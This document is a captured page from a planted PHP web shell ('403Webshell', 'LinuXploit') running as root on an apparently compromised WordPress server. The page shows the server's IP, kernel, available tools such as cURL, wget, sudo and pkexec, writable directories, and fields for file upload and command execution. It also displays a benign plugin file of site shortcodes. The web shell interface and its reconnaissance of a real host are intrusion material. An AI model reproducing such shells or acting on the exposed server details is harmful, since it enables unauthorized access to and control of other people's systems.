403Webshell
Server IP : 192.241.186.36  /  Your IP : 216.73.216.164
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux webserver7 4.15.0-194-generic #205-Ubuntu SMP Fri Sep 16 19:49:27 UTC 2022 x86_64
User : root ( 0)
PHP Version : 7.4.32
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/carsdaddy/wp-content/plugins/cardealer-helper-library/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/carsdaddy/wp-content/plugins/cardealer-helper-library/includes/custom_shortcodes.php
<?php // phpcs:ignore WordPress.Files.FileName.NotHyphenatedLowercase
/**
 * Sortcodes For Custom Functionalities.
 *
 * @author  TeamWP @Potenza Global Solutions
 * @package car-dealer-helper/functions
 * @version 1.0.0
 */

if ( ! function_exists( 'cdhl_get_year' ) ) {
	/**
	 * Shortcode for display CURRENT YEAR [ cd-current-year ].
	 *
	 * @param array $params parameters.
	 */
	function cdhl_get_year( $params = array() ) {
		$year = gmdate( 'Y' );
		// default parameters.
		extract(
			shortcode_atts(
				array(
					'year' => gmdate( 'Y' ),
				),
				$params
			)
		);
		if ( ! empty( $year ) ) {
			$copyright_year = $year;
		}
		return $copyright_year;
	}
	add_shortcode( 'cd-year', 'cdhl_get_year' );
}

if ( ! function_exists( 'cdhl_get_site_title' ) ) {
	/**
	 * Get site name and url [ cd-site-title]
	 *
	 * @param array $params parameters.
	 */
	function cdhl_get_site_title( $params = array() ) {
		// default parameters.
		extract(
			shortcode_atts(
				array(
					'site'     => get_bloginfo(),
					'site_url' => get_site_url(),
				),
				$params
			)
		);
		if ( ! empty( $site ) && ! empty( $site_url ) ) {
			$site_name = sprintf(
				wp_kses(
					'<a href="%1$s" target="_blank">%2$s</a>',
					array(
						'a' => array(
							'href'   => array(),
							'target' => array(),
						),
					)
				),
				$site_url,
				$site
			);
		}
		return $site_name;
	}
	add_shortcode( 'cd-site-title', 'cdhl_get_site_title' );
}

if ( ! function_exists( 'cdhl_get_footer_menu' ) ) {
	/**
	 * Shorcode for display navigation menu created for footer [ cd-footer-menu ]
	 *
	 * @param array $params parameters.
	 */
	function cdhl_get_footer_menu( $params = array() ) {
		if ( has_nav_menu( 'footer-menu' ) ) {
			wp_nav_menu(
				array(
					'theme_location' => 'footer-menu',
					'menu_class'     => 'list-inline text-right',
				)
			);
		}
	}
	add_shortcode( 'cd-footer-menu', 'cdhl_get_footer_menu' );
}

if ( ! function_exists( 'cdhl_elementor_template' ) ) {
	/**
	 * New shortcde for Elementor template
	 *
	 * @param array $atts attribute.
	 */
	function cdhl_elementor_template( $atts ) {
		extract(
			shortcode_atts(
				array(
					'id' => 0,
				),
				$atts
			)
		);

		ob_start();

		$template = new \Elementor\Frontend();
		echo $template->get_builder_content_for_display( $id, true ); // phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped

		return ob_get_clean();
	}
	add_shortcode( 'cdhl_elementor_template', 'cdhl_elementor_template' );
}

/**
 * Enable shortcodes in widgets.
 */
add_filter( 'widget_text', 'do_shortcode' );

Youez - 2016 - github.com/yon3zu
LinuXploit